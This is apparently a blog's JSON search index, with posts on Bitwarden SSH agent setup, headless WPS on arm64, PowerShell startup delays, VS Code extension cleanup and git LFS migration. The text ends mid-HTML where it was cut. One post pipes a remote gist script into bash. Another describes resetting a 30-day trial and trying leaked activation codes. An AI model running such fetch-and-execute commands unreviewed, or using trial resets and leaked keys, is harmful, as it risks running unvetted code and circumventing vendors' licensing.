[{"content":"背景 最近 apifox 的安全事件，让我想用密码管理器管理 ssh 密钥了。\n以前也考虑过一次，但由于 bitwarden 不支持，就作罢了。\n现在发现 bitwarden 在 2025 年已经支持了 ssh 密钥。\n使用 导入密钥 具体可参见 Bitwarden SSH Agent | Bitwarden\n这里说说我遇到的情况：\n似乎无法导入自己现有的密钥，只能生成 这个解决方案是：先新建，让它随机生成一个，然后再打开这个条目重新编辑，就能在私钥右边看到一个从剪贴板导入，复制你的密钥即可\n某些 rsa 的私钥似乎不支持，无法导入 这是因为旧版 OpenSSH 和大多数 TLS 库（例如 OpenSSH）使用的标准 PEM 格式，经典的 id_rsa 文件通常采用这种格式 。它是一个 ASN.1 编码结构，采用 base64 编码，并放置在 PEM 头部之间。\n我们可以先备份，然后使用下面的命令进行转换\n1 2 cp ~/.ssh/id_rsa ~/.ssh/id_rsa.bak ssh-keygen -p -f ~/.ssh/id_rsa 转换后放到 windows 主机，使用时（比如测试 ssh -p 443 -T git@ssh.github.com）可能会报错\n1 2 Load key \u0026#34;/c/Users/Administrator/.ssh/id_rsa\u0026#34;: error in libcrypto git@ssh.github.com: Permission denied (publickey). 这个错误大概率是换行格式不对，需要将 CRLF 转换成 LF\n如果你是在 git bash 中生成，或者是直接从 linux 下载文件到本地，大概率没问题。\n如果你是在 windows 上创建文件然后拷贝进去，大概率存在问题\n拷贝进去默认是这样\n我们需要执行 dos2unix.exe ~/.ssh/id_rsa 来进行转换\n转换后会是这个样子\n注意，这些行尾都必须存在，格式必须一致，不然就会报错 Load key ...: error in libcrypto\n转换后，这个 id_rsa 就可以导入 bitwarden 了\n启动 ssh agent 打开 bitwarden desktop 客户端\n打开设置 -\u0026gt; 启用 ssh 代理\nWindows 上的使用 此时你直接在 windows 终端中执行 ssh-add -l 应该能看到了。\nmobaxterm 20260402 更新：看了下最新版的 mobaxterm，已经内置支持 windows ssh agent，不再需要 winssh-pageant 了。\n但是对于 mobaxterm 这种使用 putty pageant 协议的，使用不了\n此处使用 mobaxterm 举例\n[Windows] + [R]，打开 services.msc\n从服务列表中停止 OpenSSH Authentication Agent ，然后将其禁用\n然后去 ndbeals/winssh-pageant: Bridge to Windows OpenSSH agent from Pageant. This means the openssh agent has the keys and this proxies pageant requests to it. 下载 winssh-pageant\n然后双击运行，打开任务管理器，你应该能看到这个程序正在运行\n然后再在 mobaxterm 本地终端中执行 ssh-add -l 应该能看到了\nGit 如果此时你使用 git for windows，你可能会得到 Could not open a connection to your authentication agent. 的错误\n这是因为 git for windows 有自己的一套 msys 环境。简而言之：\n你可以执行 git config --global core.sshCommand \u0026quot;C:/Windows/System32/OpenSSH/ssh.exe\u0026quot; 来强制 git ssh 使用 windows 自带的 ssh 即可。\n如果你想使用 git bash，在其中正常使用 ssh 等命令，你需要在 git bash 中编辑 .bashrc，补充如下内容\n1 2 3 alias ssh=\u0026#39;/c/Windows/System32/OpenSSH/ssh.exe\u0026#39; alias ssh-add=\u0026#39;/c/Windows/System32/OpenSSH/ssh-add.exe\u0026#39; alias ssh-keygen=\u0026#39;/c/Windows/System32/OpenSSH/ssh-keygen.exe\u0026#39; 来自 How do i set up Bitwarden ssh-agent within git-bash? : r/Bitwarden\nMacOS 的使用 这部分来自官方文档 Bitwarden SSH Agent | Bitwarden\n如果从 App Store 安装 1 export SSH_AUTH_SOCK=/Users/\u0026lt;user\u0026gt;/Library/Containers/com.bitwarden.desktop/Data/.bitwarden-ssh-agent.sock 如果从 dmg 文件安装 1 2 3 export SSH_AUTH_SOCK=/Users/\u0026lt;user\u0026gt;/.bitwarden-ssh-agent.sock #或者 launchctl setenv \u0026#34;SSH_AUTH_SOCK\u0026#34; \u0026#34;/Users/\u0026lt;user\u0026gt;/.bitwarden-ssh-agent.sock\u0026#34; Linux 的使用 这部分来自官方文档 Bitwarden SSH Agent | Bitwarden\n如果使用常规方法（deb/rpm/AppImage）安装 1 export SSH_AUTH_SOCK=/home/\u0026lt;user\u0026gt;/.bitwarden-ssh-agent.sock 如果您通过 Snap 或 Flatpak 安装 1 2 3 4 5 6 # Snap export SSH_AUTH_SOCK=/home/\u0026lt;user\u0026gt;/snap/bitwarden/current/.bitwarden-ssh-agent.sock # Flatpak: 有时会出现无法正常运行的情况 # https://github.com/bitwarden/clients/issues/13166#issuecomment-2755659475 export SSH_AUTH_SOCK=/home/\u0026lt;user\u0026gt;/.var/app/com.bitwarden.desktop/data/.bitwarden-ssh-agent.sock 根据您的环境，将上面的内容添加到您的 ~/.zshrc 或 ~/.bashrc 文件中\n高级用法 代理转发 以下内容来自 Sign Git commits with SSH | 1Password Developer\n启用远程主机的代理转发后，远程主机上的 SSH_AUTH_SOCK 环境变量会自动设置，您在远程环境中发出的每个 SSH 请求都会被转发到本地的 ssh-agent\n如果要为某个主机启用代理转发，可以在 ssh 带上 -A 参数\n1 ssh -A user@example.com 要检查是否正常工作，可以在远程主机上执行 ssh-add -l 查看转发到远程主机的 SSH 密钥列表。\n比如你本地有 github 的 ssh key，那么你可以在远程主机上执行 ssh -T git@github.com 来测试\n如果你想落地成配置，按照如下样例对本地的 ~/.ssh/config 进行配置\n1 2 Host example.com ForwardAgent yes 问题 1. Too many authentication failures 这种情况发生在你在 bitwarden 里面添加了太多 ssh key，ssh 会挨个尝试，一般服务器定的尝试最大次数是 6，导致尝试次数超限\n解决方案有如下几个方案（参考 Advanced use cases | 1Password Developer）：\n编辑对应服务器的 /etc/ssh/sshd_config，设置 MaxAuthTries 来增加此限制，但在许多情况下，无法（或不想）更改此设置。您可以改为指定哪个主机应与哪个 SSH 密钥匹配。\n为避免出现 Too many authentication failures​ 错误，您的 SSH 客户端需要知道哪个 SSH 公钥应该与哪个主机一起使用。这可以通过在 SSH 配置文件中设置 Host​ 块中的 IdentityFile 来配置，其值应为您希望与该主机一起使用的公钥。\n复制 bitwarden 私钥所对应的公钥，然后写入 ~/.ssh/xxx.pub 文件\n在你的 ~/.ssh/config​ 文件中，添加一个条目，指向你要连接的主机，并将 IdentityFile 设置为刚才创建的公钥路径\n经过测试，IdentitiesOnly 配置项非必需\n1 2 3 Host github.com IdentityFile ~/.ssh/xxx.pub IdentitiesOnly yes 现在，您的 SSH 客户端将知道在连接到 SSH 服务器时要使用哪个密钥，因此将不会遇到这些身份验证限制\n注意：某些 SSH 客户端不支持在 IdentityFile​ 中指定公钥。请参阅 SSH 客户端兼容性 2. 同一台服务器使用不同的身份 没有使用 ssh-agent 之前，你可能使用如下的手段来定义不同的 ssh 别名，以使用不同的身份登录远端 ssh\n1 2 3 4 5 6 7 8 9 Host user1server HostName test.com User user1 IdentityFile ~/.ssh/user1_id_rsa Host user2server HostName test.com User user2 IdentityFile ~/.ssh/user2_id_rsa 然后使用 ssh user1server 这种命令来以不同的身份登录服务器\n现在要使用 ssh-agent，你只需要将 IdentityFile 按照上面的方式改为 pub key 即可。\n例如在同一台机器上使用多个 Git 身份（来自 Advanced use cases | 1Password Developer）\n1 2 3 4 5 6 7 8 9 10 11 12 13 # Personal GitHub Host personalgit HostName github.com User git IdentityFile ~/.ssh/personal_git.pub IdentitiesOnly yes # Work GitHub Host workgit HostName github.com User git IdentityFile ~/.ssh/work_git.pub IdentitiesOnly yes 对于每个 Git 存储库，将 git URL 更改为使用新的 SSH 主机别名之一，而不是默认主机 URL\n1 git remote set-url origin \u0026lt;host\u0026gt;:\u0026lt;workplace\u0026gt;/\u0026lt;repo\u0026gt;.git 例如\n1 git remote set-url origin personalgit:1password/1password-teams-open-source.git 这样 SSH 客户端将知道每个 Git 身份应该使用哪个 SSH 密钥\n3. 普通 ssh 也会报错 Too many authentication failures 这个和第 1 个问题同源。\n我们可以在 ssh 时添加 IdentitiesOnly=yes 来规避这个问题\n例如\n1 ssh -o IdentitiesOnly=yes ubuntu@192.168.1.1 如果你是想对特定网段启用全部启用该配置，可以将如下内容添加到 ~/.ssh/config\n1 2 Host 192.168.1.* IdentitiesOnly yes 这个配置代表在 192.168.1.*​ 上启用 IdentitiesOnly=yes\n但有个例外情况，就算你做了上述配置，在 mobaxterm 上还是会出现该问题，需要在 session 配置中，打开 Expert SSH settings，然后取消勾选，即可\n不过 mobaxterm 有个 ssh tunnel 功能还是无解\n‍\n","permalink":"https://www.hacktech.cn/post/2026/03/bitwarden-ssh-agent-use-15zm94/","summary":"\u003ch2 id=\"背景\"\u003e背景\u003c/h2\u003e\n\u003cp\u003e最近 apifox 的安全事件，让我想用密码管理器管理 ssh 密钥了。\u003c/p\u003e\n\u003cp\u003e以前也考虑过一次，但由于 bitwarden 不支持，就作罢了。\u003c/p\u003e\n\u003cp\u003e现在发现 bitwarden 在 2025 年已经支持了 ssh 密钥。\u003c/p\u003e\n\u003ch2 id=\"使用\"\u003e使用\u003c/h2\u003e\n\u003ch3 id=\"导入密钥\"\u003e导入密钥\u003c/h3\u003e\n\u003cp\u003e具体可参见 \u003ca href=\"https://bitwarden.com/help/ssh-agent/\"\u003eBitwarden SSH Agent | Bitwarden\u003c/a\u003e\u003c/p\u003e","title":"bitwarden ssh agent 使用"},{"content":"有用过 [akkuman/headless-wps: run wps](https://linux.wps.cn/) in headless docker 的人可能知道这个一直没有 arm64 版本，此处记录下探索历程（相关内容均来自 是否有可能提供arm版本的镜像 · Issue #7 · akkuman/headless-wps）\nTLDR 4k 页大小内核的 arm64 linux，应该可以正常使用\n64k 页大小内核的 arm64 linux，和 libcef（浏览器） 相关的功能存在严重的功能缺失\n另一个需要解决的问题是：arm64 版本只有企业版或者特供版才有 librpc，但这些版本无一例外都只能试用 30 天或需要用激活码激活\n由于国产化 arm64 系统，有些内核对齐默认是 64k，所以还没做封装\n细节 是否有可能提供arm版本的镜像 State: open\nCreated by: @voyager0003\nCreated at: 2026-03-09 05:20:49.000 UTC\n目前的镜像是x86版本的，在个人的x86服务器上运行没问题，但是在一台信创服务器上跑就报错。\n我注意到wps官方有提供arm版本的deb安装包，不知道有没有可能，提供一版arm版本的镜像，谢谢！\n官方arm版本下载网址：https://365.wps.cn/download365\nComment by @akkuman at 2026-03-09 05:29:40.000 UTC 没有做arm版本的主要原因是信创系统，比如麒麟v10，有的内核对齐是64k，导致wps内置的比如配置页面这些qtwebkit页面打不开。所以并没有做。\n之前测试的结果如上。\n不过最近发现chromium已经有版本支持了64k页大小，但这个版本wps似乎不再更新了\nComment by @akkuman at 2026-03-09 05:30:25.000 UTC 另：wps365我没测试过，不清楚pywpsrpc这个库的支持情况\nComment by @akkuman at 2026-03-09 05:46:44.000 UTC 看到了这个 https://github.com/timxx/pywpsrpc/issues/121 ，等有空我将测试下 wps365 在64k页arm64上的兼容性，如果可行，我将打包 arm 版本\nComment by @voyager0003 at 2026-03-09 08:38:45.000 UTC 牛逼\nComment by @finch-xu at 2026-03-10 06:30:21.000 UTC 同求\nComment by @akkuman at 2026-03-17 10:10:53.000 UTC 经过我的测试，似乎在 64k页arm64 上依旧无法正常运行\nComment by @voyager0003 at 2026-03-18 00:52:33.000 UTC 悲\nComment by @finch-xu at 2026-03-18 08:08:24.000 UTC 能否用 kata-runtime https://github.com/kata-containers/kata-containers 来做这件事，这是轻量虚拟机，能添加到docker运行时，直接用docker启动，用起来和普通容器差不多，kata虚拟机运行时有自己的内核，可以阻止64k的影响，不知道这样是否可行。 同时kata运行时在麒麟v10系统的安装踩坑查到了一些资料 https://www.cnblogs.com/v-fan/p/18843188 来自网络的博客，可以参考一下。\n我手头没有这种arm机器，比较尴尬，没法测试。\n再次感谢作者制作的镜像，每天处理几百个国内文档，持续跑了几个月了，非常稳定。\nComment by @akkuman at 2026-03-18 09:32:00.000 UTC @finch-xu 你说的这个方案我之前考虑过，但是考虑到对用户使用成本太高，没弄\n经过测试，实际上是 /opt/kingsoft/wps-office/office6/addons/cef/libcef.so 无法加载。\n我尝试去 cef 官网下载了最新的 libcef（因为我记得最新的 chromium 已经支持了 64k pagesize），自己写 dlopen 能加载，但是 wps 运行起来会报错 ./wps: symbol lookup error: /opt/kingsoft/wps-office/office6/addons/kcef/libkbrowserclient.so: undefined symbol: cef_override_path，无法解决。\nComment by @akkuman at 2026-03-18 09:43:05.000 UTC @finch-xu 我也看了另一个相关问题 https://github.com/Cateners/tiny_computer/issues/510 ，我将该处提到的 wps 版本下载下来，然后将 libcef.so 提取出来放进去，发现也是不行的，经过资料查阅，发现是 debian arm64 新版本改成了 4k 对齐，导致问题莫名解决了\nComment by @finch-xu at 2026-03-18 09:52:33.000 UTC 感谢。等我拿到这种机器的时候也调试一下看看。\nComment by @akkuman at 2026-03-18 10:06:31.000 UTC @finch-xu 好像不依赖 libcef.so 也能正常打开 word 文档，我不确定使用 pywpsrpc 是否能行，我有时间编译一个 arm pywpsrpc 试试。不过还有个问题，按照大家说的，应该 arm64 wps 只有企业版有 librpc，需要激活。\n其实如果不需要支持 64k 页，我觉得直接换掉应该就行，并不存在无法解决的问题。主要还是国产 arm64 系统有一些默认页大小是 64k，自己测试可以重新编译内核，但是其他人的机器就不敢动了。\n4k 页大小的系统应该是没问题\nComment by @akkuman at 2026-03-19 06:42:08.000 UTC 最新测试：为了防止过多的无用功，此次测试拿别人已经编译好的 https://github.com/kevinhonor/pywpsrpc/blob/master/packages/aarch64/pywpsrpc-2.3.9-cp310-cp310-linux_aarch64.whl\n经过测试，wps 能正常打开 word，但是依旧是只要涉及到和浏览器(libcef)有关的，就直接卡死，典型代表比如 word -\u0026gt; pdf\n注意：此结论只适用于 64k 页\nComment by @akkuman at 2026-03-19 06:46:21.000 UTC 结论：4k 页大小内核的 arm64 linux，应该可以正常使用\n64k 页大小内核的 arm64 linux，存在较为严重的功能缺失，具体见上\n另一个需要解决的问题是：arm64 版本只有企业版或者特供版才有 librpc，但这些版本无一例外都只能试用 30 天或需要用激活码激活\nComment by @akkuman at 2026-03-19 06:49:31.000 UTC 试用 30 天的解决方案，经过测试，似乎可以从 rm -rf $HOME/.config/Kingsoft $HOME/.local/share/Kingsoft​ 和 license2.dat 文件下手，经过测试，删除后重新打开就是重新弹出试用，具体由于环境问题打不开设置页面，不知是否奏效\n激活码激活：尝试使用网上流传的激活码进行激活，出现几个现象：\n提示用于 wps for windows，不可用，但经过抓包，此时没有请求发出（怀疑是内置的黑名单） 提示please check network connect，但经过抓包，此时没有请求发出，不知道问题是什么 Comment by @akkuman at 2026-03-19 06:56:56.000 UTC @finch-xu 如果有继续研究的打算，可以加个好友交流下，可以在我的 github 主页找到我的邮箱\n","permalink":"https://www.hacktech.cn/post/2026/03/headless-wps-arm64-hou-xu-1csr1p/","summary":"\u003cp\u003e有用过 [akkuman/headless-wps: run \u003ca href=\"https://github.com/akkuman/headless-wps\"\u003ewps](https://linux.wps.cn/) in headless docker\u003c/a\u003e 的人可能知道这个一直没有 arm64 版本，此处记录下探索历程（相关内容均来自 \u003ca href=\"https://github.com/akkuman/headless-wps/issues/7\"\u003e是否有可能提供arm版本的镜像 · Issue #7 · akkuman/headless-wps\u003c/a\u003e）\u003c/p\u003e\n\u003ch2 id=\"tldr\"\u003eTLDR\u003c/h2\u003e\n\u003cp\u003e4k 页大小内核的 arm64 linux，应该可以正常使用\u003cbr\u003e\n64k 页大小内核的 arm64 linux，和 libcef（浏览器） 相关的功能存在严重的功能缺失\u003c/p\u003e","title":"headless-wps arm64 后续"},{"content":"背景 我的 windows terminal 每次启动 powershell 都很慢，并且会打印这样一行\n1 Loading personal and system profiles took 1704ms. 排查 首先我们不加载任何内容，在 cmd 中执行 pwsh -NoProfile，powershell 立即启动，并且没有打印上面的日志\n在 powershell 中执行 $PROFILE​，找到 profile 所在文件夹，然后找到同级目录下的 profile.ps1\n我的内容如下\n1 2 3 4 5 6 7 Import-Module -Name \u0026#34;F7History\u0026#34; #region conda initialize # !! Contents within this block are managed by \u0026#39;conda init\u0026#39; !! If (Test-Path \u0026#34;D:\\Applications\\Scoop\\apps\\miniconda\\current\\Scripts\\conda.exe\u0026#34;) { (\u0026amp; \u0026#34;D:\\Applications\\Scoop\\apps\\miniconda\\current\\Scripts\\conda.exe\u0026#34; \u0026#34;shell.powershell\u0026#34; \u0026#34;hook\u0026#34;) | Out-String | ?{$_} | Invoke-Expression } #endregion 注释掉 F7History，似乎没有改善\n注释掉 conda 相关，启动 powershell，Loading personal and system profiles took 1704ms. 这一行没有打印了，并且感觉启动变快了。修改 profile 来记录一下\n1 2 3 4 5 6 $global:ProfileStartTime = Get-Date ... 原有内容 $profileLoadTime = (Get-Date) - $global:ProfileStartTime Write-Host \u0026#34;⚡ Profile 加载耗时: $($profileLoadTime.TotalMilliseconds.ToString(\u0026#39;N0\u0026#39;)) ms\u0026#34; -ForegroundColor Cyan 可以看到注释掉 conda，确实变快了\n解决方案 注释掉 conda 或者你可以参考 conda init powershell slows shell startup immensely. · Issue #11648 · conda/conda 中的解决方案 ","permalink":"https://www.hacktech.cn/post/2026/03/why-is-my-powershell-starting-so-slowly-12hzjt/","summary":"\u003ch2 id=\"背景\"\u003e背景\u003c/h2\u003e\n\u003cp\u003e我的 windows terminal 每次启动 powershell 都很慢，并且会打印这样一行\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eLoading personal and system profiles took 1704ms.\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch2 id=\"排查\"\u003e排查\u003c/h2\u003e\n\u003cp\u003e首先我们不加载任何内容，在 cmd 中执行 \u003ccode\u003epwsh -NoProfile\u003c/code\u003e，powershell 立即启动，并且没有打印上面的日志\u003c/p\u003e","title":"为什么我的 powershell 启动这么慢"},{"content":"introduce As is well known, this is a long-standing bug: VS Code always leaves behind old versions of extensions when upgrading extensions.\n众所周知，这是一个长期存在的 bug：VS Code 在升级扩展程序时总是会留下旧版本的扩展程序。\nPreviously, this space usage was not a problem, but with the emergence of AI programming extensions, after long-term operation, the size of the related extensions may reach the GB level, quickly filling up the disk.\n以前，这种空间占用不是问题，但随着 AI 编程扩展的出现，经过长期运行，相关扩展的大小可能会达到 GB 级别，迅速填满磁盘。\nThe main function of this extension is to help you remove older versions of the extension on your Linux host and devcontainer, thus freeing up disk space.\n此扩展程序的主要功能是帮助您删除 Linux 和 devcontainer 上的旧版本扩展程序，从而释放磁盘空间。\nUsage 1 curl -sL https://gist.github.com/akkuman/c1d9577fab2a8701142887de5dc04270/raw/cleanup-vscode-ext.sh | bash ","permalink":"https://www.hacktech.cn/post/2026/02/clean-up-old-versions-of-vscode-z1qr48c/","summary":"\u003ch2 id=\"introduce\"\u003eintroduce\u003c/h2\u003e\n\u003cp\u003eAs is well known, this is a long-standing bug: VS Code always leaves behind old versions of extensions when upgrading extensions.\u003c/p\u003e\n\u003cp\u003e众所周知，这是一个长期存在的 bug：VS Code 在升级扩展程序时总是会留下旧版本的扩展程序。\u003c/p\u003e\n\u003cp\u003ePreviously, this space usage was not a problem, but with the emergence of AI programming extensions, after long-term operation, the size of the related extensions may reach the GB level, quickly filling up the disk.\u003c/p\u003e","title":"Clean up old versions of VSCode"},{"content":"问题背景 我已经有了一个 .gitattributes 文件，我希望将仓库中的大文件全部重写到 lfs 上\n.gitattributes 文件样例如下：\n1 2 3 4 assets/geolite2-asn-ipv4.mmdb filter=lfs diff=lfs merge=lfs -text assets/geolite2-asn-ipv6.mmdb filter=lfs diff=lfs merge=lfs -text assets/qqwry.dat filter=lfs diff=lfs merge=lfs -text assets/zxipv6wry.db filter=lfs diff=lfs merge=lfs -text 最终解决方案（TLDR） 1 2 3 4 5 6 7 # 首先安装 git-filter-repo uv tool install git-filter-repo # 然后将 .gitattributes 添加到每个提交 HASH=$(git hash-object -w \u0026#34;$(pwd)/.gitattributes\u0026#34;) git filter-repo --force --commit-callback \u0026#34;commit.file_changes.append(FileChange(b\u0026#39;M\u0026#39;, b\u0026#39;.gitattributes\u0026#39;, b\u0026#39;${HASH}\u0026#39;, b\u0026#39;100644\u0026#39;))\u0026#34; # 然后使用 --fixup 根据 .gitattributes 文件转换为 lfs 格式 git lfs migrate import --everything --fixup 注意：该方案仅适用于 gitattributes 文件中不包含 exclude 规则的情况\n解决过程 ​git lfs migrate import​ 有一个 --fixup 参数\n根据官方的解释：\n1 2 3 4 --fixup Infer --include and --exclude filters on a per-commit basis based on the .gitattributes files in a repository. In practice, this option imports any filepaths which should be tracked by Git LFS according to the repository´s .gitattributes file(s), but aren´t already pointers. This option is incompatible with explicitly given --include, --exclude filters. 似乎看起来是我们想要的作用，但是我使用后发现并没有重写，原因在这：是否可以使用 lfs migrate import --fixup 将整个仓库追溯性地转换为 LFS？ · 问题 #3543 · git-lfs/git-lfs \u0026mdash; Is it possible to use lfs migrate import \u0026ndash;fixup to retroactively convert an entire repository to LFS? · Issue #3543 · git-lfs/git-lfs\n\u0026ndash;fixup 工作原理是使仓库在每个历史节点上都与其 .gitattributes 文件保持一致。由于你是在历史节点上的最新节点添加 .gitattributes 文件，因此 git lfs migrate \u0026ndash;fixup 大部分时间都不起作用。\n我认为你可以做两件事来代替：\n你可以不使用 --fixup​ ，而是明确指定 --include​ 和 --exclude​ 参数，让 Git LFS 为你创建 ` .gitattributes​ 文件。你提到你不想使用这个选项，但实际上应该没问题：Git LFS 会修改你的 `.gitattributes` 文件，但不会进行冗余修改（例如，如果我们想要添加的条目已经存在，那么 Git LFS 将不会执行任何操作）。 或者，您可以使用 git rebase 将引入 .gitattributes 的提交提前到历史记录中， 然后运行 ​​ git lfs migrate \u0026ndash;import \u0026ndash;everything 。由于您引入的 .gitattributes 更改会更早出现，因此 \u0026ndash;fixup 将转换您想要的文件。 既然上面的不起作用，那就只能使用 awk + xargs 来实现了\n1 cat .gitattributes | grep \u0026#39;filter=lfs diff=lfs merge=lfs\u0026#39; | awk \u0026#39;{print($1)}\u0026#39; | xargs -I{} git lfs migrate import --include=\u0026#34;{}\u0026#34; --everything 但是他有个问题，不会迁移 tag\n所以参考如下链接，给出一个最终方案\nhttps://github.com/git-lfs/git-lfs/issues/3543#issuecomment-947883998 https://github.com/git-lfs/git-lfs/issues/3543#issuecomment-1019633715 https://github.com/git-lfs/git-lfs/issues/3543#issuecomment-2380668083 1 2 3 4 5 6 7 # 首先安装 git-filter-repo uv tool install git-filter-repo # 然后将 .gitattributes 添加到每个提交 HASH=$(git hash-object -w \u0026#34;$(pwd)/.gitattributes\u0026#34;) git filter-repo --force --commit-callback \u0026#34;commit.file_changes.append(FileChange(b\u0026#39;M\u0026#39;, b\u0026#39;.gitattributes\u0026#39;, b\u0026#39;${HASH}\u0026#39;, b\u0026#39;100644\u0026#39;))\u0026#34; # 然后使用 --fixup 根据 .gitattributes 文件转换为 lfs 格式 git lfs migrate import --everything --fixup ","permalink":"https://www.hacktech.cn/post/2026/02/migrate-existing-files-in-git-repository-to-lfs-z1wjust/","summary":"\u003ch2 id=\"问题背景\"\u003e问题背景\u003c/h2\u003e\n\u003cp\u003e我已经有了一个 .gitattributes 文件，我希望将仓库中的大文件全部重写到 lfs 上\u003c/p\u003e\n\u003cp\u003e.gitattributes 文件样例如下：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e4\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-plaintext\" data-lang=\"plaintext\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eassets/geolite2-asn-ipv4.mmdb filter=lfs diff=lfs merge=lfs -text\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eassets/geolite2-asn-ipv6.mmdb filter=lfs diff=lfs merge=lfs -text\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eassets/qqwry.dat filter=lfs diff=lfs merge=lfs -text\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eassets/zxipv6wry.db filter=lfs diff=lfs merge=lfs -text\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch2 id=\"最终解决方案tldr\"\u003e最终解决方案（TLDR）\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e5\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e6\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e7\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 首先安装 git-filter-repo\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003euv tool install git-filter-repo\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 然后将 .gitattributes 添加到每个提交\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eHASH\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan 